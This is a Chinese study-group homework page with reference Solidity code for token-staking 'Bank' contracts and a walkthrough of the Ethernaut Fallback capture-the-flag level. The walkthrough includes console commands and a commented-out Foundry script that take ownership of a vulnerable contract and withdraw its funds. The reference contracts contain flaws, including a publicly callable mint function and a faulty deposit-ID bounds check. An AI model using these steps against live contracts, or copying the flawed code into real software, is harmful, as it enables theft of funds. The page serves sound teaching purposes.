# 第三次實作練習|智能合約與 Dapp 實戰讀書會 > 已公佈實作參考解答 [TOC] ## 作業說明 第三次讀書會實作主題是 DeFi ,共分為「建立一個銀行 Bank」的基本題及進階題 Ethernaut 讓大家練習 繳交作業必須完成 ==Bank 基本題==,其餘兩題可做可不做,請<u>**在 12/2 (五) 23:59前**</u>繳交 ## Bank 基本題:建立一個支援單代幣的銀行 > 在 Web3 世界人人都可以當銀行家!我們想開張一間去中心化金融中心,簡易小而美的銀行 - 使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行 - 使用者執行定存,會開始計算 Reward 利息回饋 - 使用者解除定存(withdraw),獲得 Reward 利息回饋 部署二個合約, 1. 部署一個 ==Staking Token ERC20== 的智能合約 > 提示:可透過 [Openzeppelin Wizard](https://docs.openzeppelin.com/contracts/4.x/wizard) 快速產生 ERC20 2. 部署一個 ==Bank== 銀行合約,並擁有以下功能 - Deposit 定存:實作 deposit function,可以將 Staking Token 存入 Bank 合約 - Withdraw 解除定存並提款,實作 withdraw function - TimeLock 固定鎖倉期 3. 部署方式:Remix JavaScript VM 部署合約 ### 參考解答 `StakingToken.sol` ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract testERC20 is ERC20 { constructor() ERC20("testERC20", "tERC") { // _mint(msg.sender, 10 ** (9 + 18)); _mint(msg.sender, 1_000_000_000 * 1e18); } } ``` `BankBasic.sol` ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /* 建立一個 Bank 銀行 在 web3 世界人人都可以當銀行家!我們想開張一間去中心化金融中心,簡易小而美的銀行 使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行 使用者執行定存,會開始計算 Reward 利息回饋 使用者解除定存(withdraw),獲得 Reward 利息回饋 Deposit 定存:實作 deposit function,可以將 Staking Token 存入 Bank 合約 Withdraw 解除定存並提款,實作 withdraw function TimeLock 固定鎖倉期 */ contract BasicBank { // 質押 Staking Token 代幣 IERC20 public stakingToken; // 全部質押數量 uint256 public totalStakedToken; // 個人質押數量 mapping(address => uint256) public balanceOf; // 鎖倉時間 uint256 public withdrawDeadline = 10 seconds; // 利息獎勵 // 10 ** -18 per second uint256 public rewardRate = 1; // 個人總利息 mapping(address => uint256) public rewardOf; // 定存資料 struct Deposit { uint256 amount; // 定存多少金額 uint256 startTime; // 定存開始時間 uint256 endTime; // 定存結束時間 } mapping(address => Deposit[]) public depositOf; constructor(IERC20 _stakingToken) { stakingToken = _stakingToken; } // update total token amount in the contract function updateTotalStakenToken() internal { totalStakedToken = stakingToken.balanceOf(address(this)); } // 存款 function deposit(uint256 _amount) external { // 1) 將 stakingToken 移轉到 BasicBank 合約 stakingToken.transferFrom(msg.sender, address(this), _amount); // 2) 紀錄存款數量 totalStakedToken += _amount; balanceOf[msg.sender] += _amount; // 3) 定存資訊 depositOf[msg.sender].push( Deposit({ amount: _amount, startTime: block.timestamp, endTime: block.timestamp + withdrawDeadline }) ); } // 解除定存 function withdraw(uint256 _depositId) external { // 檢查:餘額需要大於 0 require(balanceOf[msg.sender] > 0, "You have no balance to withdraw"); Deposit[] storage deposits = depositOf[msg.sender]; // 檢查條件: 必須超過鎖倉期才可以提領 require(block.timestamp >= deposits[_depositId].endTime, "Withdrawal Period is not reached yet"); // 檢查條件:定存ID 是否存在 require(_depositId <= deposits.length, "Deposit ID not exist!!"); // 這次提領的金額 =本金 + 利息 uint256 currentReward = deposits[_depositId].amount + getInterest(_depositId); updateTotalStakenToken(); // 檢查條件:目前質押在合約中的代幣數量,要大於這次提領的金額(本金+利息) require(totalStakedToken >= currentReward, "Tokens in the pool is insufficient for the withdrawal"); // 1) 獲得利息獎勵 rewardOf[msg.sender] += currentReward; // 2) 提款 stakingToken.transfer(msg.sender, currentReward); totalStakedToken -= currentReward; balanceOf[msg.sender] -= deposits[_depositId].amount; // 3) 把此筆定存移除,並更新最後一筆定存的 ID 至目前定存 deposits[_depositId] = deposits[deposits.length - 1]; deposits.pop(); } // 計算利息 function getInterest(uint256 _depositId) public view returns (uint256) { uint256 start = depositOf[msg.sender][_depositId].startTime; uint256 _amount = depositOf[msg.sender][_depositId].amount; return (block.timestamp - start) * rewardRate * _amount; } // 使用者旗下的所有定存利息 function getAllInterest() public view returns (uint256){ uint256 N = depositOf[msg.sender].length; uint256 allRewards; for (uint256 i = 0; i < N; i++) { allRewards += getInterest(i); } return allRewards; } } ``` ### 細節補充:怎麼表示小數點 > 利息計算時,免不了要進行浮點數的運算,Solidity 為了維持小數的精度所以沒有 float, double 這類的資料型別,皆是以整數來表示小數點。 - 查看 token 的基礎單位([Openzeppelin的 ERC20合約](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol)),預設是 $10^{18}$ ```solidity= /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } ``` - 若想要發 1,000,000,000 ($10^9$) 個 token,在 `mint` 時的數量要寫成 `10 ** (18 + 9)` ![](https://i.imgur.com/ZQpGjaE.png) - 實際看到的發行總量並不會是 $10^{27}$ 而是 $10^{9}$ ![](https://i.imgur.com/JwMp8Gj.png) ### 細節補充:使用 IERC20 與 ERC20 合約互動 https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#IERC20 ### 細節補充:用 Struct 記錄每一筆定存 新增結構體陣列,記錄每筆定存的資訊 ```solidity= struct Deposit { uint256 amount; uint256 startTime; uint256 endTime; } mapping(address => Deposit[]) public depositOf; /* depositOf[msg.sender] = [ [amount, startTime, endTime], // 第0筆定存 [amount, startTime, endTime], // 第1筆定存 [amount, startTime, endTime] // 第2筆定存 ] */ ``` ### 細節補充:使用 transferFrom + approve 來提升安全性 - `approve`:Token的擁有者,可以將權限委託給 Bank,允許他們從所有者的餘額中花費特定金額 - `transferFrom`:允許Token擁有者,將控制權委託給另一個地址。它通常用於給合約來分配Token、Staking等使用 - `transferFrom` 通常與 `approve` 結合使用 ![](https://i.imgur.com/xgkHRpC.png) ## Bank 進階題:建立一個支援多代幣的銀行 進階題可不做,但需繳交基本作業 1. 部署兩個 ERC20 Token 的智能合約,分別是 StakingToken、RewardsToken 2. 部署 AdvanceBank 智能合約,並擁有以下功能 - Deposit 定存 - Reward(回饋另一個 RewardsToken) - TimeLock 根據鎖倉期給予不同回饋加乘 3. 合約部署在 Goerli Network,並開源 Verify ### 參考解答 `StakingTokenAndRewardToken.sol` ```solidity= // SPDX-License-Identifier: MIT pragma solidity 0.8.16; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract StakingToken is ERC20 { constructor() ERC20("Staking Token", "ST") { mint(msg.sender, 50000); } function mint(address to, uint256 amount) public { _mint(to, amount); } } contract RewardToken is ERC20 { constructor() ERC20("Reward Token", "ST") { _mint(msg.sender, 100 * 1e18); } } ``` `BankAdvanced.sol` ```solidity= // SPDX-License-Identifier: MIT pragma solidity 0.8.16; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /* 建立一個 Bank 銀行 在 web3 世界人人都可以當銀行家!我們想開張一間去中心化金融中心,簡易小而美的銀行 使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行 使用者執行定存,會開始計算 Reward 利息回饋 使用者解除定存(withdraw),獲得 Reward 利息回饋 Deposit 定存:實作 deposit function,可以將 Staking Token 存入 Bank 合約 Withdraw 解除定存並提款,實作 withdraw function TimeLock 固定鎖倉期 */ contract AdvanceBank { // 質押 Staking Token代幣 IERC20 public stakingToken; // 利息獎勵代幣 IERC20 public rewardToken; // 全部質押數量 uint256 public totalSupply; // 個人質押數量 mapping(address => uint256) public balanceOf; // 鎖倉時間 uint256 public withdrawDeadline = 10 seconds; // 利息獎勵 uint256 public rewardRate = 1; // 個人總利息 mapping(address => uint256) public rewardOf; // 定存資料 struct Deposit { uint256 amount; // 定存多少金額 uint256 startTime; // 定存開始時間 uint256 endTime; // 定存結束時間 } mapping(address => Deposit[]) public depositOf; // 紀錄每個帳戶,操作 deposit, withdraw, getReward 最後更新的時間 mapping(address => uint256) public lastUpdateTime; constructor(IERC20 _stakingToken, IERC20 _rewardToken) { stakingToken = _stakingToken; rewardToken = _rewardToken; } event WithdrawReward(address _account, uint256 _reward); // 計算利息,公式計算 function earned() public view returns (uint256) { // 經過多少時間(秒) uint256 duration = block.timestamp - lastUpdateTime[msg.sender]; // (你擁有多少顆 StakingToken * 時間 * rewardRate) + 目前獎勵利息有多少 return balanceOf[msg.sender] * duration * rewardRate + rewardOf[msg.sender]; } // 每次存提款、提領利息,都會呼叫他 modifier updateReward() { // 1) 更新該帳戶的獎勵 rewardOf[msg.sender] = earned(); // 2) 更新最後的時間 lastUpdateTime[msg.sender] = block.timestamp; _; } // 存款 function deposit(uint256 _amount) external updateReward { // 1) 將 stakingToken 移轉到 BasicBank 合約 stakingToken.transferFrom(msg.sender, address(this), _amount); // 2) 紀錄存款數量 totalSupply += _amount; balanceOf[msg.sender] += _amount; // 3) 定存資訊 depositOf[msg.sender].push( Deposit({ amount: _amount, startTime: block.timestamp, endTime: block.timestamp + withdrawDeadline }) ); } // 解除定存 function withdraw(uint256 _depositId) external updateReward { // 檢查:餘額需要大於 0 require(balanceOf[msg.sender] > 0, "You have no balance to withdraw"); Deposit[] storage deposits = depositOf[msg.sender]; // 檢查條件: 必須超過鎖倉期才可以提領 require(block.timestamp >= deposits[_depositId].endTime, "Withdrawal Period is not reached yet"); // 檢查條件:定存ID 是否存在 require(_depositId <= deposits.length, "Deposit ID not exist!!"); uint256 amount = deposits[_depositId].amount; // 1) 獲得利息獎勵 // rewardOf[msg.sender] += getReward(_depositId); // 2) 提款 stakingToken.transfer(msg.sender, amount); totalSupply -= amount; balanceOf[msg.sender] -= amount; // 3) 移除此筆定存,移除陣列 deposits // 陣列往左移 deposits[_depositId] = deposits[deposits.length - 1]; deposits.pop(); } // 利息 rewardToken 轉移給使用者 function getReward(uint256 _depositId) external updateReward { require(rewardOf[msg.sender] > 0, "You have no reward! sorry!"); // 1) 取得目前的總利息,存進變數 reward uint256 reward = rewardOf[msg.sender]; // 2) reward 將利息歸 0 rewardOf[msg.sender] = 0; // 3) 利息用 rewardToken 方式獎勵給 User // 需要將 rewardToken 存到銀行,銀行才可以發放獎勵 rewardToken.transfer(msg.sender, reward); // 4) 紀錄事件,使用者已經提領利息 emit WithdrawReward(msg.sender, reward); } } ``` ### 細節補充:設計利息公式 參考版為 $\text{利息 } reward = (\text{現在時間 - 上次更新時間}) * rewardRate * \text{存入前的 } token + \text{當前 }reward$ ## Ethernaut 智能合約攻防戰 > 有興趣者可以試著挑戰前 10 題 ### 事前準備 - 開啟 Ethernaut:https://ethernaut.openzeppelin.com/ - Ethernaut 是用 web3.js 做為底層,查詢用法:https://web3js.readthedocs.io/en/v1.7.5/web3-eth.html ### 範例說明:第二題 Fallback - 遊戲目標: - 獲取合約所有權,成為 Owner - 把合約裡的錢偷走 - 關卡用意: - 學會ether進出合約的基本知識 - 使用fallback方法 - Ownable的特殊權限 #### 觀察思路 - 仔細觀察 `fallback.sol`的內容,會發現有兩個地方可以拿到 owner 權限 - contribute Fn:需要把 1000 ETH 打到 contribute function,這條路有點太奢侈了 - receive() 剩下這條路可以走 #### 接收 ETH 幫手:receive() `receive()` 是用來接收 ETH,一個合約只能有唯一一個 `receive` ,它也走特例,不需要 `function` 關鍵字,但必須有 `external`, `payable` ```solidity= receive() external payable { // ... } ``` - 當合約收到 Eth時,會觸發 receive #### 開始解題 仔細看 receive 可以得知 ```solidity= receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } ``` - contributions[msg.sender] 錢需要 > 0 - 轉錢給合約 msg.value > 0 以上兩個條件達成,就可以成為 owner 呼叫 contributions 讓 contributions[msg.sender]>0,傳送 0.00001 ether ```javascript= await contract.contribute({ value: toWei("0.0001")}) ``` 接著使用 Metamask 轉一筆錢到合約地址就會觸發 receive(),獲得 owner 權限 ```javascript= contract.address > '0xe5eBf7364306e0eca2CAE5F0D028650cd158d776' // Metamask 轉任意的錢 await contract.contribute({ value: 1 }) await contract.sendTransaction({value: 1}) await contract.owner() // 查詢 Owner 是誰 > '0x977e01DDd064e404227eea9E30a5a36ABFDeF93D' // 與 player 地址相同,表示已成為 owner。確認成為 owner後,呼叫合約的 withdraw player // 你的錢包地址 > '0x977e01DDd064e404227eea9E30a5a36ABFDeF93D' await contract.withdraw(); // 確認合約錢餘額 await getBalance(contract.address); ``` 交易完成後,便可以 Submit 提交答案囉,成功後會看到控制台出現下面訊息,表示通過 ![](https://i.imgur.com/HCGRg0i.png =200x) - [補充:Solidity 接收ETH receive和fallback](https://mirror.xyz/ninjak.eth/EroVZqHW1lfJFai3umiu4tb9r1ZbDVPOYC-puaZklAw) <!-- #### Foundry ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "forge-std/Script.sol"; import "../instances/Ilevel01.sol"; contract POC is Script { Fallback level1 = Fallback(關卡地址); function run() external { vm.startBroadcast(); level1.contribute{value: 1 wei}(); level1.getContribution(); address(level1).call{value: 1 wei}(""); level1.owner(); level1.withdraw(); vm.stopBroadcast(); } } ``` -->